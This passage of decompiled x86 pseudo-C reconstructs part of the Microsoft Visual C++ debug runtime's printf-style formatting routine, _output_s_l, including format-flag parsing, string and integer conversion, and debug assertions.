																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			goto L70;
																		case 2:
																			L49:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6c;
																			if(__ecx != 0x6c) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L70;
																		case 3:
																			L69:
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			goto L70;
																		case 4:
																			goto L70;
																	}
																case 7:
																	L71:
																	__ecx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x324) = __ecx;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	__eflags =  *(__ebp - 0x324) - 0x37;
																	if( *(__ebp - 0x324) > 0x37) {
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L72:
																	_t156 =  *(__ebp - 0x324) + 0xb95d9c; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00B95D60))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			__eflags = __ecx;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *(__ebp - 0x260) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00B93D50(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x288);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0xd121a0; // 0xb775a0
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L00B7DEA0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E00B7C680(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0xd12188; // 0xddc09d6c
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E00B7C680(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0xd12194; // 0xddc09d6c
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E00B7C680(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0xd12190; // 0xddc09d6c
																							E00B849C0(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__edx =  *(__ebp - 4);
																						__edx =  *(__ebp - 4) + 1;
																						__eflags = __edx;
																						 *(__ebp - 4) = __edx;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																					do {
																						L190:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L216;
																						}
																						goto L191;
																					} while ( *(__ebp - 0x324) > 0x37);
																					goto L72;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags = __ecx - 0x67;
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00B93D50(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E00B93D90(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00B97890(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				__eflags =  *(__ebp - 0x280);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00B93D50(__ebp + 0x14);
																			__eax = E00B97280();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																			L110:
																			__edx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L00B7D760();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			} else {
																				L117:
																				 *((intOrPtr*)(L00B80C60(__ecx))) = 0x16;
																				__eax = E00B809F0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E00B7C650(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00B93D50(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L90:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00B93D50(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0xd121a0; // 0xb775a0
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				__eax =  *(__ebp - 0x28c);
																				__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				__eflags = __eax;
																				 *(__ebp - 0x24) = __eax;
																				goto L108;
																			} else {
																				L94:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0xd121a4; // 0xb77590
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags =  *(__ebp - 0x290);
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																		case 0xc:
																			L145:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00B93D50(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00B93D50(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00B93D50(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xd:
																			L147:
																			 *(__ebp - 0x260) = 0x27;
																			L148:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x14) = 0x30;
																				 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																				__eflags =  *(__ebp - 0x260) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L153:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00B93D50(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00B93D50(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00B93D50(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																								 *(__ebp - 0x2b4) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00B93D50(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x2b8) = __eax;
																								 *(__ebp - 0x2b4) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00B93D70(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L170;
																				}
																				goto L166;
																			}
																		case 0xe:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																	}
																case 8:
																	L30:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	goto L33;
																case 9:
																	L31:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L33;
																case 0xa:
																	L29:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xb:
																	L28:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L33;
																case 0xc:
																	L32:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xd:
																	L33:
																	goto L218;
															}
														} else {
															if(0 == 0) {
																 *(_t557 - 0x314) = 0;
															} else {
																 *(_t557 - 0x314) = 1;
															}
															_t543 =  *(_t557 - 0x314);
															 *(_t557 - 0x278) =  *(_t557 - 0x314);
															if( *(_t557 - 0x278) == 0) {
																_push( &M00B77C38);
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t526 = L00B7D760();
																_t559 = _t559 + 0x14;
																if(_t526 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t557 - 0x278) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00B80C60(_t543))) = 0x16;
																E00B809F0(_t528, _t543, _t555, _t556,  &M00B77C38, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t557 - 0x2f0) = 0xffffffff;
																E00B7C650(_t557 - 0x40);
																_t499 =  *(_t557 - 0x2f0);
																L229:
																return E00B805D0(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
															}
														}
													}
													L219:
													__eflags =  *(_t557 - 0x25c);
													if( *(_t557 - 0x25c) == 0) {
														L222:
														 *(_t557 - 0x334) = 1;
														L223:
														_t530 =  *(_t557 - 0x334);
														 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t504 = L00B7D760();
															_t559 = _t559 + 0x14;
															__eflags = _t504 - 1;
															if(_t504 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) != 0) {
															 *(_t557 - 0x300) =  *(_t557 - 0x24c);
															E00B7C650(_t557 - 0x40);
															_t499 =  *(_t557 - 0x300);
														} else {
															 *((intOrPtr*)(L00B80C60(_t530))) = 0x16;
															E00B809F0(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t557 - 0x2fc) = 0xffffffff;
															E00B7C650(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2fc);
														}
														goto L229;
													}
													L220:
													__eflags =  *(_t557 - 0x25c) - 7;
													if( *(_t557 - 0x25c) == 7) {
														goto L222;
													}
													L221:
													 *(_t557 - 0x334) = 0;
													goto L223;
												}
											}
											L187:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L190;
											}
											L188:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L190;
											}
											goto L189;
										}
										L183:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x2bc);
										__edx =  *(__ebp - 0x2c0);
